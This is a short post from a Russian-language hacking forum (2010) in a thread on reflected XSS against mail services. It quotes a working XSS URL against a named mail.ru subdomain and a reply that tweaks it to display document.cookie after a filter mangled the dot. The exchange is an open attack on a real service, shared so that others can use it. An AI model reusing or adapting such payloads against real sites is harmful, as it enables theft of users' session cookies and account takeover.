Пассивные xss на почтовых серверах

#11

19.10.2010, 22:48

Ruslan1817

Постоянный

Регистрация: 17.01.2009

Сообщений: 309

С нами: 9112381

Репутация: 403

Цитата:

Сообщение от satana666

Пасcивка на mail.ru

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//starlook.lady.mail.ru/commented?">alert('XSS')[/COLOR][/COLOR]

Вот только в alert(document.cookie) точка заменяется на _
Это можно как-нибудь обойти?

так будет лучше.

Код HTML:

http://starlook.lady.mail.ru/commented?period=month">alert(document.cookie)

Зря выложил ее, завтра уже будет закрыта.

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

[ Обзор Уязвимостей .:Drupal :. ]

Cawabunga

Веб-уязвимости

12.01.2021 19:31

Cross Site Scripting FAQ

k00p3r

Уязвимости

12.06.2005 16:23

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

Создать сделку

Мои сделки

Сделка